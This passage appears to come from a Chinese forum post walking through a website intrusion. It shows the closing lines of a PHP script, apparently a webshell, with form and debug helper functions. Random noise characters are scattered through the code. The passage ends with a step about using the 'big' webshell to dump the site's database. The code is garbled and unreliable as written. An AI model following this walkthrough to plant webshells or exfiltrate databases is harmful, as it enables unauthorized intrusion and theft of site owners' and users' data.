4 l/ q' o; a. a - p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');- [" P1 ^8 a# ~# C5 p
- p('</form>');) z, ^0 x/ j" r9 D& ]" q9 m& w
- }
2 ~) C. ~# d" P0 c* o -
8 K. [/ D9 G6 E4 q* d, d Y+ p: P) r7 t - function formfoot(){! x+ K' K" y6 e5 B8 \: A1 @9 ]' x
- p('</form>');
3 e/ O" u" S- m- t - }
& j D) X. Z& P v% ` - 2 g6 [+ `! d& {- ~& ^
- // 调试函数+ ^! G! q# _3 r% W( ?; i, n6 d
- function pr($a) {7 L0 l2 N7 U; N& f, E5 d1 }
- echo '<pre>';
5 X1 O$ h* A. E9 m) f - print_r($a);
_: |- \. ]* O6 j+ ~! c0 B7 i/ P - echo '</pre>';7 b& e- K; v1 X
- }
" b" q8 X4 b4 g -
' b" G- z# f2 e5 A - ?>
复制代码11、最后通过大码对网站数据库进行脱库
( l- ?1 @- h F! L " }' V5 N3 t, i: ~& X
; z y4 m1 E6 V0 V3 @ |